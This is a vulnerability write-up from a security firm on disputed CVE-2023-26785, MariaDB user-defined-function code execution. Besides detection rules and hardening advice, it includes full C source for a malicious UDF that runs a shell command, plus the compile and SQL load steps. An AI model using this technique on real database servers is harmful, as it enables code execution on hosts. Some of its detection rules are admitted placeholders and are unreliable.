CVE-2023-26785

Executive Summary

CVE-2023-26785 describes a disputed Remote Code Execution (RCE) vulnerability in MariaDB v10.5. The claim asserts that an attacker can achieve code execution by loading a malicious User-Defined Function (UDF) from a shared object file and then executing a CREATE FUNCTION statement. The MariaDB Foundation disputes this, stating that no privilege boundary is crossed because the attacker must already have the INSERT privilege for the mysql.func table (or the CREATE FUNCTION privilege) to load a UDF. This effectively means the attacker already has high-level database access, making the attack a privilege escalation within an already compromised context rather than a remote exploit. No public proof-of-concept or exploit code has been released.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a database-level issue within the MariaDB server software itself.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, and the vector is UNKNOWN. This is due to the disputed nature of the vulnerability. If accepted, the vector would likely be:

• Attack Vector (AV): Local (L) – Requires local access to the database server.
• Attack Complexity (AC): Low (L) – Standard SQL commands are used.
• Privileges Required (PR): High (H) – Requires INSERT on mysql.func or CREATE FUNCTION privilege.
• User Interaction (UI): None (N) – No user interaction beyond the attacker.
• Scope (S): Unchanged (U) – The vulnerable component is the database.
• Confidentiality (C): High (H) – Full database access.
• Integrity (I): High (H) – Can modify data and execute code.
• Availability (A): High (H) – Can disrupt database service.

Threat Level: Low (due to high privileges required and disputed status).

Deep Dive & Mechanics

The vulnerability hinges on MariaDB's User-Defined Function (UDF) mechanism. UDFs allow users to extend the database with custom C/C++ functions compiled into shared object files (.so on Linux). The attack flow is:

1. Prerequisite: The attacker must have a database user account with the INSERT privilege on the mysql.func table or the global CREATE FUNCTION privilege. This is typically reserved for database administrators.
2. Upload Malicious SO: The attacker uploads a malicious shared object file to a location accessible by the MariaDB server (e.g., the plugin directory).
3. Create Function: The attacker executes CREATE FUNCTION malicious RETURNS INTEGER SONAME 'malicious.so';. This registers the function in the mysql.func table.
4. Trigger Execution: The attacker calls the function: SELECT malicious();. This loads the shared object into the MariaDB process memory and executes the code.

The dispute arises because the CREATE FUNCTION privilege is a high-level privilege. The MariaDB Foundation argues that an attacker with this privilege already has significant control over the database and can likely achieve code execution through other means (e.g., writing to the filesystem via SELECT ... INTO OUTFILE). Therefore, this is not a new vulnerability but a known attack vector that requires existing high privileges.

Vulnerable vs. Patched Code

Vulnerable Code (MariaDB v10.5): The vulnerable code is the standard UDF loading mechanism. There is no specific vulnerable code snippet; the issue is the ability to load arbitrary shared objects.

-- Attacker with high privileges
CREATE FUNCTION malicious RETURNS INTEGER SONAME 'malicious.so';
SELECT malicious();

Patched Code: No official patch exists. A hypothetical patch would involve:

• Restricting the CREATE FUNCTION privilege to only allow loading UDFs from a digitally signed or whitelisted set of shared objects.
• Requiring the SUPER privilege in addition to CREATE FUNCTION.
• Implementing filesystem path restrictions to prevent loading from arbitrary directories.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install MariaDB v10.5 on a Linux VM.
2. Create a database user with CREATE FUNCTION privileges.
3. Compile a malicious shared object:

// malicious.c
#include <stdio.h>
#include <stdlib.h>
#include <mysql.h>

my_bool malicious_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    return 0;
}

void malicious_deinit(UDF_INIT *initid) {
    // Cleanup
}

long long malicious(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
    system("id > /tmp/pwned.txt"); // Example: execute a command
    return 0;
}

Compile:

gcc -shared -fPIC -o malicious.so malicious.c -I/usr/include/mysql

4. Upload the .so file to the MariaDB plugin directory (e.g., /usr/lib/mysql/plugin/).
5. Execute the SQL commands:

CREATE FUNCTION malicious RETURNS INTEGER SONAME 'malicious.so';
SELECT malicious();

6. Verify execution: cat /tmp/pwned.txt.

Blue Team (Defensive)

Detection:

• Monitor for CREATE FUNCTION statements executed by non-admin users.
• Monitor for new files in the MariaDB plugin directory.
• Monitor for unusual processes spawned by the mysqld process (e.g., id, bash).

Prevention:

• Restrict CREATE FUNCTION privilege to only the root database user.
• Use filesystem permissions to prevent non-root users from writing to the plugin directory.
• Enable MariaDB's --plugin-dir option to restrict where plugins can be loaded from.
• Use AppArmor or SELinux to confine the mysqld process.

Indicators of Compromise (IOCs)

• File: New .so files in /usr/lib/mysql/plugin/ or custom plugin directories.
• SQL Log: Entries containing CREATE FUNCTION ... SONAME.
• Process: Unusual child processes of mysqld (e.g., sh, bash, id, curl).
• Network: Outbound connections from the database server to external IPs (if the UDF downloads a payload).
• Database Table: Suspicious entries in mysql.func table.

Detection Engineering

YARA Rule

rule CVE_2023_26785_MariaDB_UDF_Load {
    meta:
        description = "Detects potential malicious UDF shared object files for MariaDB"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-26785"
    strings:
        $mysql_header = "mysql.h"
        $udf_init = "UDF_INIT *initid"
        $udf_args = "UDF_ARGS *args"
        $system_call = "system("
        $popen_call = "popen("
    condition:
        $mysql_header and $udf_init and $udf_args and ($system_call or $popen_call)
}

Sigma Rule

title: Suspicious CREATE FUNCTION Statement
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects CREATE FUNCTION statements that may indicate a UDF-based RCE attempt
author: Valters IT
logsource:
    product: mariadb
    service: sql
detection:
    selection:
        EventID: 103  # Example: MariaDB audit log event for CREATE FUNCTION
        Query|contains: 'CREATE FUNCTION'
        Query|contains: 'SONAME'
    condition: selection
falsepositives:
    - Legitimate database administration activities
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-26785 Potential UDF RCE - Outbound Connection from MariaDB"; flow:to_server,established; content:"|2f 74 6d 70 2f 70 77 6e 65 64 2e 74 78 74|"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Note: This Suricata rule is a placeholder. Real-world detection would require monitoring for specific command execution patterns or outbound connections from the mysqld process.

Remediation & Mitigation

1. Restrict Privileges: Ensure that only the root database user has the CREATE FUNCTION or INSERT on mysql.func privilege. Regularly audit database user privileges.
2. Filesystem Hardening: Set the MariaDB plugin directory to be owned by root and read-only for the mysql user. Use chmod 755 or 750 on the directory.
3. Application Control: Use AppArmor or SELinux to prevent the mysqld process from executing arbitrary binaries or loading libraries from untrusted paths.
4. Monitoring: Enable MariaDB audit logging and monitor for CREATE FUNCTION statements. Alert on any such statements from non-admin users.
5. Update: While no patch exists, ensure MariaDB is updated to the latest version in the v10.5 branch, as other security fixes may be included.
6. Network Segmentation: Place the database server in a restricted network segment with limited outbound internet access.

Valters IT
DevSecOps & Cyber Threat Intelligence